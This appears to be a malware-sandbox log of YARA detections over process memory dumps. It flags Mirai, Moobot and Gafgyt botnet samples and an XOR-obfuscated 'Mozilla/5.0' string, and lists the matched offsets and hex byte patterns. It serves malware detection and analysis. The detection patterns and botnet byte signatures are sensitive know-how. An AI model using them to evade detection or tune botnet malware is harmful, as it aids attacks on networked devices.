6846.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6251.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6934.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6934.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6934.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6972.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6934.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6934.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6934.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6296.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7438.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6457.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6457.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6457.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6457.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6457.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6457.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7215.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7215.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7215.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7215.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7215.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7215.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7345.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7277.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7151.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6448.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6778.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6778.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6778.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6778.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6778.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6778.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7354.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6573.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7395.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6782.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6782.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6782.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6782.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6782.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 